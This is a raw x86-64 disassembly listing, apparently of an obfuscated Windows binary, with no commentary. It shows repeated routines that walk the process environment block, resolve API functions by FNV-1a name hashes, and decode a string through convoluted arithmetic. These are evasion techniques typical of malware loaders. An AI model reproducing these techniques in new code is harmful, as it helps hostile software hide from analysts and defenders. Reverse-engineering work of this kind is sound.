mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d4e0
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d4d2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d4c1
cmp r8d, esi
jne 0x14011d5ad
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d5ad
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d5ad
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d534
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d529
cmp edx, r14d
je 0x14011d54a
test r9d, r9d
jne 0x14011d514
jmp 0x14011d5ad
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x14011d5c2
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011d5c2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d58c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011d57e
jmp 0x14011d5a1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011d594
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d5bf
cmp qword [rdi + 0x30], r12
jne 0x14011d490
mov rdx, r12
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14011d736
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d64d
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d63f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d62e
cmp r8d, esi
jne 0x14011d71a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d71a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d71a
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d6a1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d696
cmp edx, r14d
je 0x14011d6b7
test r9d, r9d
jne 0x14011d681
jmp 0x14011d71a
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x14011d72f
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011d72f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d6f9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011d6eb
jmp 0x14011d70e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011d701
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d72c
cmp qword [rdi + 0x30], r12
jne 0x14011d5fd
mov rdx, r12
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14011d8a3
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d7ba
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d7ac
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d79b
cmp r8d, esi
jne 0x14011d887
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d887
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d887
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d80e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d803
cmp edx, r14d
je 0x14011d824
test r9d, r9d
jne 0x14011d7ee
jmp 0x14011d887
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x14011d89c
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14011d89c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d866
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011d858
jmp 0x14011d87b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011d86e
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d899
cmp qword [rdi + 0x30], r12
jne 0x14011d76a
mov rdx, r12
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r12
jne 0x14011da0f
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d924
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d916
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d905
cmp r8d, esi
jne 0x14011d9f3
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d9f3
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d9f3
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d978
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d96d
cmp edx, r14d
je 0x14011d98e
test r9d, r9d
jne 0x14011d958
jmp 0x14011d9f3
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r11
jbe 0x14011da08
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14011da08
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d9d0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14011d9c2
jmp 0x14011d9e6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14011d9d9
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011da05
cmp qword [rdi + 0x30], r12
jne 0x14011d8d4
mov r9, r12
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14011da84
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x14011da6c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011da4d
cmp r8d, 0x610c0de3
je 0x14011dad5
mov r9, qword [r9]
cmp r9, r10
je 0x14011da7a
cmp qword [r9 + 0x30], r12
jne 0x14011da32
mov r8, r12
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r10d, dword [r11 + r8 + 0x20]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x14011dad0
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14011dab4
cmp ecx, 0xe463da3c
je 0x14011dadb
inc r9d
jmp 0x14011da98
mov r8, qword [r9 + 0x30]
jmp 0x14011da7d
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14011dc68
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011db7e
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011db70
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011db5f
cmp r8d, esi
jne 0x14011dc4b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011dc4b
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011dc4b
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011dbd2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011dbc7
cmp edx, r14d
je 0x14011dbe8
test r9d, r9d
jne 0x14011dbb2
jmp 0x14011dc4b
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14011dc61
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14011dc61
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14011dc28
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14011dc1a
jmp 0x14011dc3e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14011dc31
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011dc5e
cmp qword [rdi + 0x30], 0
jne 0x14011db2e
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe38]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14011dde9
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011dcff
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011dcf1
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011dce0
cmp r8d, esi
jne 0x14011ddcc
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011ddcc
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011ddcc
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011dd53
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011dd48
cmp edx, r14d
je 0x14011dd69
test r9d, r9d
jne 0x14011dd33
jmp 0x14011ddcc
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r11
jbe 0x14011dde2
lea rcx, [r11 + rax]
cmp r8, rcx
jae 0x14011dde2
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14011dda9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14011dd9b
jmp 0x14011ddbf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14011ddb2
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011dddf
cmp qword [rdi + 0x30], 0
jne 0x14011dcaf
xor r8d, r8d
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
movabs r14, 0xe2ff43c1b0c1bb8c
movabs r12, 0x289fac1d7322f8a4
mov byte [rbp + 0x530], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x531], 0xc9
mov byte [rbp + 0x532], 0xf8
mov byte [rbp + 0x533], Ordinal_211
mov byte [rbp + 0x534], 0xe0
mov byte [rbp + 0x535], Ordinal_50
mov byte [rbp + 0x536], 0x46
mov byte [rbp + 0x537], 0xba
mov byte [rbp + 0x538], Ordinal_79
mov byte [rbp + 0x539], 0x9d
mov byte [rbp + 0x53a], 0xbb
mov byte [rbp + 0x53b], 0xbf
mov byte [rbp + 0x53c], 0xbd
mov byte [rbp + 0x53d], 0x9d
mov byte [rbp + 0x53e], 0x40
mov byte [rbp + 0x53f], 0x45
mov byte [rbp + 0x540], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x541], xmm0
mov qword [rbp + 0x551], rax
mov word [rbp + 0x559], ax
mov byte [rbp + 0x55b], al
movabs rsi, 0x83a725eef7f5773a
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor r10d, r10d
lea r15d, [r10 + 1]
cmp r10, 0x2c
jae 0x14011ea64
movzx r9d, byte [rbp + r10 + 0x530]
mov r8, r9
cmp rdi, r10
ja 0x14011ea5b
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14011df11
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x6a
jmp 0x14011df4b
je 0x14011e9ce
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011e944
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14011e912
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011e8c5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011e899
cmp r11, r10
ja 0x14011ea52
lea rax, [r11 + 6]
cmp rdi, rax
jae 0x14011df7e
movabs rdx, 0xccb61c9a5722c7c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x14011e194
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011e854
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011e831
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011e80e
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011e7e8
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14011e4e5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011e4c4
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011e4b0
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14011e49c
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x14011e476
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14011e453
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x14011e431
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x14011e410
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14011e3fc
lea rcx, [r11 + 2]
cmp rdi, rcx
je 0x14011e3d8
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011dfbf
mov rdi, rcx
lea r11, [rcx + 9]
lea rax, [r11 + 5]
cmp rcx, rax
jb 0x14011ea2c
lea rax, [r11 + 9]
cmp rcx, rax
jb 0x14011ea06
lea rax, [r11 + 0x20]
cmp rcx, rax
jb 0x14011e1bd
lea rax, [r11 + 0x42]
cmp rcx, rax
jb 0x14011e19b
lea rax, [r11 + 0x200]
cmp rcx, rax
jb 0x14011e178
lea rax, [r11 + 0x1000]
cmp rcx, rax
jb 0x14011e3c1
lea rax, [r11 + 8]
cmp rcx, rax
jb 0x14011e367
lea rax, [r11 + 0x10]
cmp rcx, rax
jb 0x14011e314
lea rcx, [r11 + 0x40]
cmp rdi, rcx
jb 0x14011e2e9
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14011dfbf
mov rdi, rcx
lea r11, [rcx + 0x400]
lea rax, [r11 + 0x80]
cmp rcx, rax
ja 0x14011e2c7
lea rax, [r11 + 0x400]
cmp rcx, rax
ja 0x14011e2a4
lea rax, [r11 + 0x7a]
cmp rcx, rax
ja 0x14011e282
lea rax, [r11 + 0x2a]
cmp rcx, rax
ja 0x14011e26e
lea rax, [r11 + 3]
cmp rcx, rax
ja 0x14011e25a
lea rax, [r11 + 6]
cmp rcx, rax
ja 0x14011e246
lea rax, [r11 + 0xa]
cmp rcx, rax
ja 0x14011e223
lea rax, [r11 + 0x28]
cmp rcx, rax
ja 0x14011e201
lea rax, [r11 + 0x64]
cmp rcx, rax
ja 0x14011e1e0
lea rax, [r11 + 0x3e8]
cmp rcx, rax
ja 0x14011dfbf
lea rdi, [r11 + 0x5a]
lea r11, [rdi + 0x61]
jmp 0x14011dfbf
movabs rdx, 0x7bc198c0a247bc7e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x72
add bl, dl
jmp 0x14011dfb2
movabs rcx, 0x74734ce2b25cce0a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x46
jmp 0x14011df4b
movabs rdx, 0x6d250104c271df96
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x14011dee3
movabs rdx, 0x65b0e4d2b9163e10
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x14011e61a
movabs rcx, 0x5e6298f4c92b4f9c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x14011e8ba
movabs rcx, 0x57144d16d9406128
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x18
jmp 0x14011e8bd
movabs rdx, 0x4fc60138e95572b4
mov ecx, 0xa
jmp 0x14011e8d4
movabs rdx, 0x4877b55af96a8440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14011e664
movabs rdx, 0x4129697d097f95cc
mov ecx, gethostname
jmp 0x14011e693
movabs rcx, 0x39db1d9f1994a758
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14011e965
movabs rdx, 0x328cd1c129a9b8e4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3c
add bl, dl
jmp 0x14011e999
movabs rcx, 0x2b3e85e339beca70
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14011e9ef
movabs rcx, 0x98fac83861f3764e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
mov byte [rbp + r10 + 0x530], bl
jmp 0x14011e9fe
movabs rdx, 0x91ac7c5a720887da
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov eax, 8
cmp r11, rax
jb 0x14011e307
movabs rcx, 0x74991d36cbcd811c
add rcx, r10
mov al, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x14011e871
movabs rdx, 0x8a5e307c821d9966
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 5
jae 0x14011e795
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x14011e6f6
movabs rcx, 0x2b8a268b6ca03094
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x14011e335
movabs rdx, 0x830fe49e9232aaf2
add rdx, r10
mov ecx, Ordinal_50
jmp 0x14011e4f7
movabs rdx, 0xcc44ab9e0ad0ae8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011e9ed
movabs rdx, 0xc4f65fc01ae5c018
mov ecx, Ordinal_46
jmp 0x14011e7f7
movabs rdx, 0xbda813e22afad1a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x14011e963
movabs rcx, 0xb659c8043b0fe330
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x14011e932
movabs rcx, 0xaf0b7c264b24f4bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x14011e92f
movabs rdx, 0xa7bd30485b3a0648
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e8e6
movabs rdx, 0xa06ee46a6b4f17d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14011e840
movabs rdx, 0x9920988c7b642960
mov ecx, Ordinal_50
jmp 0x14011e8a8
movabs rdx, 0x91d24cae8b793aec
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x74
jmp 0x14011e61a
lea rax, [r11 + 0x20]
cmp rdi, rax
jae 0x14011e54c
lea rdx, [r10 + rsi]
mov ecx, gethostname
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 0x400
je 0x14011e7be
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x14011e5f2
movabs rdx, 0x5ed409f1157d68d2
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e388
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011e569
movabs rdx, 0x996c3934ae458f84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14011e3e7
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011e598
movabs rdx, 0xa808d0f08e1b6c6c
mov ecx, 6
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e965
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011e5c3
movabs rcx, 0xaf571cce7e065ae0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x14011e932
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011e506
movabs rcx, 0xb6a568ac6df14954
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x14011e92f
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011e621
movabs rdx, 0x662255cf05685746
add rdx, r10
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011e871
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011e64c
movabs rcx, 0x7c0d3968d52922a2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x14011e8e6
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011e67b
movabs rdx, 0x835b8546c5141116
mov ecx, 0x33
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e92f
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011e6aa
movabs rdx, 0x8aa9d124b4feff8a
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e932
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14011e6c7
movabs rdx, 0x91f81d02a4e9edfe
mov ecx, 7
jmp 0x14011e581
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011e388
movabs rcx, 0x994668e094d4dc72
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
jmp 0x14011e999
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011e722
movabs rcx, 0x32d872695c8b1f08
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x38
jmp 0x14011e9ef
cmp rdi, rcx
jne 0x14011e749
movabs rcx, 0x3a26be474c760d7c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14011e999
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011e766
movabs rdx, 0x41750a253c60fbf0
mov ecx, Ordinal_60
jmp 0x14011e581
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011e335
movabs rcx, 0x575fedbf0c21c74c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x14011e8e6
movabs rdx, 0x7be76914bbb86f90
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
